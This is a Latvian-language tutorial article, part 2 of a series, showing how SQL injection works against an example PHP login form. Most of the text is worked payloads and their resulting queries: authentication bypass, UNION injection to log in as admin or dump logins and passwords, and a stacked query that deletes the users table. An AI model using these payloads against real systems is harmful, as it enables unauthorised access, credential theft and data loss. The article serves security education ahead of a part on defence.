SQL injekcijas (2). Iespējamais uzbrukums.
Autors: alijs (alijs (at) navigator.lv)Kategorija: Drošība
Raksta 1. daļa: SQL injekcijas (1). Caurums drošībā.
1. daļā apskatījām PHP koda piemēru, kas paredzēts autorizācijas procesa nodrošināšanai web lapā.
Apskatīsim dažus piemērus, kāda ir web lapas reakcija uz ievadītajām login (L) un password (P) vērtībām un rezultātā iegūtais SQL vaicājums (S), kas tiek izpildīts web lapas datu bāzē:
L: janis
P: 1234
S: select name from webusers where login='janis' and password='1234'
Rezultāts: iegūtias SQL vaicājums ir tāds, kā gaidīts - ja db būs lietotājs jānis ar paroli 1234, atbilde būs pozitīva, pretejā gadījumā - negatīva. Tik tālu viss ok.
L: '
P: x
S: select name from webusers where login=''' and password='x'
Rezultāts: iegūta MySQL kļūda... No tās iespējams secināt, ka web lapai ir potenciālas drošības problēmas. Tālāk uzdevums jau ir tikai sastādīt "pareizos" SQL vaicājumus, lai iegūtu vēlamo rezultātu.
Galvenā ideja SQL injekcijās balstās uz faktu, ka vaicājumā izmantotais PHP mainīgais pieļauj jebkādas vērtības un līdz ar to iespējams ievadīt tādas vērtības, lai, ievietojot tās SQL vaicājumā, iegūtu pavisam citu SQL vaicājumu, kas joprojām pēc sintakses ir pareizs.
L: xxx' and (true or ('1'='1
P: x')) and '1'='1
S: select name from webusers where login='login' and (true or ('1'='1' and password='x')) and '1'='1'
Rezultāts: iespējams veiksmīgi autorizēties ar jebkuru datu bāzē esošu lietotāju, norādot to "xxx" vietā, nezinot paroli
Kāpēc tā notika? Tādēļ, ka izpildītais SQL vaicājums nepārbauda paroli - izteiksme (true or ('1'='1' and password='x')) būs patiesa vienmēr. Vienīgais reālais nosacījums - lietotāja vārdam jābūt eksistējošam. Nedaudz modificējot ievadītos datus, var atbrīvoties arī no šī ierobežojuma.
L: login' and (false or ('1'='1
P: x')) UNION select 'admin' as name from dual where '1'='1
S: select name from webusers where login='login' and (false or ('1'='' and password='x')) UNION select 'admin' as name from dual where '1'='1'
Rezultāts: varam veiksmīgi autorizēties ar jebkuru lietotājvārdu, pat ja tas neeksistē datu bāzē.
Šajā gadījumā ir pielietota citāda pieeja. Tiek panākts, ka pirmā vaicājuma daļa neatgriež nekādus datus un tai tiek piekabināta otra daļa, izmantojot UNION, kura, savukārt, atgriež jebkādu vērtību. Principā šajā gadījumā ir iespējams izpildīt jebkuru SQL vaicājumu.
L: login' and (false or ('1'='1
P: x')) UNION select concat(login,' - ',password) from webusers where name='admin
S: select name from webusers where login='login' and (false or ('1'='1' and password='x')) UNION select concat(login,' - ',password) from webusers where name='admin'
Rezultāts: varam izvadīt uz ekrāna jebkura lietotāja loginu un paroli, zinot tā vārdu.
Pēc pēdējā piemēra jau kļūst skaidrs bez sevišķiem komentāriem, cik nopietnas problēmas var radīt neuzmanīgi uzrakstīts kods, kas pieļauj SQL injekcijas. Vēl viens piemērs: SQL vaicājumi var tikt atdalīti ar semikolu, kā rezultātā tie izpildīsies secīgi viens pēc otra. Šādie iespējams izpildīt ne tikai SELECT vaicājumus.
L: x'; delete from webusers; select name from webusers where login='x
P: x
S: select name from webusers where login='x'; delete from webusers; select name from webusers where login='x' and password='x'
Rezultāts: visa informācija no tabulas webusers ir izdzeesta.
Delete vietā varēja būt arī drop table, lai nodzēstu tabulu, insert, lai ievietotu savus datus, utt.
Protams, nezinot kodu un datu bāzes struktūru, pareizos vaicājumus uzrakstīt nav vienkārši. Tomēr uz to nedrīkst paļauties, jo eksperimentējot un izmēģinot dažādus variantus, agri vai vēlu potenciālais ļaundaris atklās veidu, kā panākt sev vēlamo rezultātu. Diez vai kādam vēl ir šaubas par to, ka pret SQL injekcijām ir jānodrošinās...
Turpinājums: SQL injekcijas (3). Aizsardzība.
Lai pievienotu komentāru, autorizējies!


SĀKUMS
RAKSTI